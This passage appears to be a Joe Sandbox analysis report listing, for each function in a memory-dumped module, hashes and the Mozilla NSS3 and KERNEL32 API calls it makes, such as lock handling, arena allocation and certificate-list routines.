Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: f0bc6ae3589db55f5ab2e51805b94f9153b063025b819466520efc17df9e2742
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 3F31C4B2A017429BE704CF16CC80652F7A4BFA531CB248629D92987B01E7B1E4A9CF91

Function 6C5EFE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C5C5ADC,?,00000000,00000001,?,?,00000000,?,6C5BBA55,?,?), ref: 6C5EFE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C5EFE5F
PR_Unlock.NSS3(78831D74), ref: 6C5EFEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C5EFED6

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 4344437b61a905d589f33e8def7e47ef95f4b6f251595572d1e852121797a3e4
Instruction ID: 8593dfc853a1b4c63f5cb9df99cd80354b2d2690d65c1436215eddbe2c9ed7c0
Opcode Fuzzy Hash: 4344437b61a905d589f33e8def7e47ef95f4b6f251595572d1e852121797a3e4
Instruction Fuzzy Hash: C3213432A00225ABD7509F65EC447AA77B8BF0935CF040224DD0567E42EB30F828CBD1

Function 6C5F3F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6C5F3440: PK11_GetAllTokens.NSS3 ref: 6C5F3481
Part of subcall function 6C5F3440: PR_SetError.NSS3(00000000,00000000), ref: 6C5F34A3
Part of subcall function 6C5F3440: TlsGetValue.KERNEL32 ref: 6C5F352E
Part of subcall function 6C5F3440: EnterCriticalSection.KERNEL32(?), ref: 6C5F3542
Part of subcall function 6C5F3440: PR_Unlock.NSS3(?), ref: 6C5F355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C5DE80C,00000000,00000000,?,?,?,?,6C5E8C5B,-00000001), ref: 6C5F3FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C5DE80C,00000000,00000000,?,?,?,?,6C5E8C5B,-00000001), ref: 6C5F3FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C5DE80C,00000000,00000000,?,?,?,?,6C5E8C5B,-00000001), ref: 6C5F3FFE
PR_SetError.NSS3 ref: 6C5F401A

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: d14218322f59f2b5728ef8aa713c9a89fac7974b1ddd9f2ef7f5d781ca40ab25
Instruction ID: ded2e119fe10d9eaef8ed1d7da01640fbee18af756e4cb184240be5bb907e8d6
Opcode Fuzzy Hash: d14218322f59f2b5728ef8aa713c9a89fac7974b1ddd9f2ef7f5d781ca40ab25
Instruction Fuzzy Hash: 51318074604704CFD704EF69D98466ABBF4FF88314F01492DD8998BB10EB30E985CB96

Function 6C5E4FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C5EB60F,00000000), ref: 6C5E5003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C5EB60F,00000000), ref: 6C5E501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C5EB60F,00000000), ref: 6C5E504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C5EB60F,00000000), ref: 6C5E5064

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 4dd01ed9193e500f1efc6b031d9a614af76232937a1465283db3a373372426f5
Instruction ID: 21190f2012d66d6f1645118a33d6c13fadd18a9ab52775f2250e1515f2076731
Opcode Fuzzy Hash: 4dd01ed9193e500f1efc6b031d9a614af76232937a1465283db3a373372426f5
Instruction Fuzzy Hash: 79314DB4A05606DFDB00EF69D88466ABBF4FF48304F108969E859D7B01EB30E894CBD1

Function 6C609F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C60A71A,FFFFFFFF,?,?), ref: 6C609FAB

Part of subcall function 6C6014C0: TlsGetValue.KERNEL32 ref: 6C6014E0
Part of subcall function 6C6014C0: EnterCriticalSection.KERNEL32 ref: 6C6014F5
Part of subcall function 6C6014C0: PR_Unlock.NSS3 ref: 6C60150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6C60A71A,6C60A71A,00000000), ref: 6C609FD9

Part of subcall function 6C601340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C5A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C59F599,?,00000000), ref: 6C60136A
Part of subcall function 6C601340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C5A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C59F599,?,00000000), ref: 6C60137E
Part of subcall function 6C601340: PL_ArenaGrow.NSS3(?,6C59F599,?,00000000,?,6C5A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C59F599,?), ref: 6C6013CF
Part of subcall function 6C601340: PR_Unlock.NSS3(?,?,6C5A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C59F599,?,00000000), ref: 6C60145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C60A71A,6C60A71A,00000000), ref: 6C60A009
PR_SetError.NSS3(FFFFE013,00000000,6C60A71A,6C60A71A,00000000), ref: 6C60A045

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: f003219df74dca915a1b451d64f9163de020c82d221b66a51b64e6890def8468
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 632198B470020A9BF7089F15DD50F66B7A9FF5539CF10C128D81A97781E776D814CB94

Function 6C612DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C612E08

Part of subcall function 6C6014C0: TlsGetValue.KERNEL32 ref: 6C6014E0
Part of subcall function 6C6014C0: EnterCriticalSection.KERNEL32 ref: 6C6014F5
Part of subcall function 6C6014C0: PR_Unlock.NSS3 ref: 6C60150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C612E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C612E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C612E95

Part of subcall function 6C601200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C5A88A4,00000000,00000000), ref: 6C601228
Part of subcall function 6C601200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C601238
Part of subcall function 6C601200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C5A88A4,00000000,00000000), ref: 6C60124B
Part of subcall function 6C601200: PR_CallOnce.NSS3(6C702AA4,6C6012D0,00000000,00000000,00000000,?,6C5A88A4,00000000,00000000), ref: 6C60125D
Part of subcall function 6C601200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C60126F
Part of subcall function 6C601200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C601280
Part of subcall function 6C601200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C60128E
Part of subcall function 6C601200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C60129A
Part of subcall function 6C601200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6012A1

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 352b6dfa15189dcf7d3b97c5d4cff16135dd683e0d32df833dd81b31c73e32b6
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 57213BB1E443454BEB00CF189D447AA37646F9330DF114269ED086BB52F7B1D599C399

Function 6C5CACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C5CACC2

Part of subcall function 6C5A2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C5A2F0A
Part of subcall function 6C5A2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C5A2F1D

Part of subcall function 6C5A2AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C5A0A1B,00000000), ref: 6C5A2AF0
Part of subcall function 6C5A2AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A2B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C5CAD5E

Part of subcall function 6C5E57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C5AB41E,00000000,00000000,?,00000000,?,6C5AB41E,00000000,00000000,00000001,?), ref: 6C5E57E0
Part of subcall function 6C5E57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C5E5843

CERT_DestroyCertList.NSS3(?), ref: 6C5CAD36

Part of subcall function 6C5A2F50: CERT_DestroyCertificate.NSS3(?), ref: 6C5A2F65
Part of subcall function 6C5A2F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5A2F83

free.MOZGLUE(?), ref: 6C5CAD4F

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 74b44543e78f73fb568e5719f84dee4759e863d3a3314060e57c061d1bd90d32
Instruction ID: 500f4fe6f06bf633f4c699ae4e016a236c193c8fdb19096698d1348a202f086d
Opcode Fuzzy Hash: 74b44543e78f73fb568e5719f84dee4759e863d3a3314060e57c061d1bd90d32
Instruction Fuzzy Hash: BC2192B5E00114CBEB10DFA69C465EE7BB4AF49248F45406CD8096BA00EB31AE55CBA6

Function 6C5F3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5F3C9E
EnterCriticalSection.KERNEL32(?), ref: 6C5F3CAE
PR_Unlock.NSS3(?), ref: 6C5F3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C5F3D02

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 94067ab1c4e9e2d07cf6a343e4f5956443d3aee931cb0184b118c8c272178898
Instruction ID: 230410402d6d0eae6dad8616e513a44c163df15ab2a3448c325181eb7f8cf5ef
Opcode Fuzzy Hash: 94067ab1c4e9e2d07cf6a343e4f5956443d3aee931cb0184b118c8c272178898
Instruction Fuzzy Hash: 0511E979A00204AFEB00EF24DC48E963778EF49368F158564ED1997712DB31ED55CBE1

Function 6C5FECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C5FF0AD,6C5FF150,?,6C5FF150,?,?,?), ref: 6C5FECBA

Part of subcall function 6C600FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5A87ED,00000800,6C59EF74,00000000), ref: 6C601000
Part of subcall function 6C600FF0: PR_NewLock.NSS3(?,00000800,6C59EF74,00000000), ref: 6C601016
Part of subcall function 6C600FF0: PL_InitArenaPool.NSS3(00000000,security,6C5A87ED,00000008,?,00000800,6C59EF74,00000000), ref: 6C60102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C5FECD1

Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C6010F3
Part of subcall function 6C6010C0: EnterCriticalSection.KERNEL32(?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60110C
Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601141
Part of subcall function 6C6010C0: PR_Unlock.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601182
Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C5FED02

Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C5FED5A

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: d6599264f289043b28da02cc21a0798c768c21d5195a97c96a0bc3a8f17e161e
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 4921D4B1A007429BE704CF25DD44B52B7E5BFE5308F15C219E81CC7A62EBB0E595CAE4

Function 6C62EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C617FFA,?,6C619767,?,8B7874C0,0000A48E), ref: 6C62EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C617FFA,?,6C619767,?,8B7874C0,0000A48E), ref: 6C62EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C617FFA,?,6C619767,?,8B7874C0,0000A48E), ref: 6C62EE14

Part of subcall function 6C600BE0: malloc.MOZGLUE(6C5F8D2D,?,00000000,?), ref: 6C600BF8
Part of subcall function 6C600BE0: TlsGetValue.KERNEL32(6C5F8D2D,?,00000000,?), ref: 6C600C15

memcpy.VCRUNTIME140(?,?,6C619767,00000000,00000000,6C617FFA,?,6C619767,?,8B7874C0,0000A48E), ref: 6C62EE33

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: ab9cb24c4eb5351f171bcce45f3e3395d7a22f946f2e3105262bd9d309c6612f
Instruction ID: e8f851b8a9b99a6262b708de0fb0ce716457e3836dd44d9e0a811891a100749a
Opcode Fuzzy Hash: ab9cb24c4eb5351f171bcce45f3e3395d7a22f946f2e3105262bd9d309c6612f
Instruction Fuzzy Hash: D411C2B1A00706ABEB109E75DC84B46B3A8EF0035EF244531E91996A00E339F465CFE9

Function 6C5ADFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C5C06A0: TlsGetValue.KERNEL32 ref: 6C5C06C2
Part of subcall function 6C5C06A0: EnterCriticalSection.KERNEL32(?), ref: 6C5C06D6
Part of subcall function 6C5C06A0: PR_Unlock.NSS3 ref: 6C5C06EB

CERT_NewCertList.NSS3 ref: 6C5ADFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6C5ADFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C5ADFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5AE029

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: f7b44f3bb358e6d7489e702c8f58d63fc87dbcf4bb16cac7cd3598320caf8640
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 0D11CC71A04206ABDB115EEB5C44BAF75A8BB8535CF040534E918D7B00F7B6DC2796E1

Function 6C5C8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5C8DE7
EnterCriticalSection.KERNEL32 ref: 6C5C8DFC
PR_Unlock.NSS3 ref: 6C5C8E2D
PR_SetError.NSS3 ref: 6C5C8E49

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: e0cf06219f758a77fe7b74d5378635e4f0887b2ac3039460d9311d2728b6d687
Instruction ID: 427bc660176d113be4b1ab97ca93bd9aa024f79b9ba54bd4cf00148a71927a92
Opcode Fuzzy Hash: e0cf06219f758a77fe7b74d5378635e4f0887b2ac3039460d9311d2728b6d687
Instruction Fuzzy Hash: F2114F756056149BD700AF78D88855ABBF4FF45314F014969DC89D7B00EB30E854CBD6

Function 6C64AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C635F17,?,?,?,?,?,?,?,?,6C63AAD4), ref: 6C64AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C635F17,?,?,?,?,?,?,?,?,6C63AAD4), ref: 6C64ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C63AAD4), ref: 6C64ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C63AAD4), ref: 6C64ACDB

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: da4238b9d64404980aa5fca4bc64cb57a887b64ec66fefeef79b44afcef67702
Instruction ID: 7c091ae0ee5e7b9a0a51fda39daf0d9e3888cdd169cf19a48ec5b55bc23c40c2
Opcode Fuzzy Hash: da4238b9d64404980aa5fca4bc64cb57a887b64ec66fefeef79b44afcef67702
Instruction Fuzzy Hash: B3018CB1601B01ABEB60DF2AE908743B7E8BF00799B008839D85AC3E00E731F414CBD4

Function 6C5B1DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C5B1DFB

Part of subcall function 6C5A95B0: TlsGetValue.KERNEL32(00000000,?,6C5C00D2,00000000), ref: 6C5A95D2
Part of subcall function 6C5A95B0: EnterCriticalSection.KERNEL32(?,?,?,6C5C00D2,00000000), ref: 6C5A95E7
Part of subcall function 6C5A95B0: PR_Unlock.NSS3(?,?,?,?,6C5C00D2,00000000), ref: 6C5A9605

PR_EnterMonitor.NSS3 ref: 6C5B1E09

Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C6690AB
Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C6690C9
Part of subcall function 6C669090: EnterCriticalSection.KERNEL32 ref: 6C6690E5
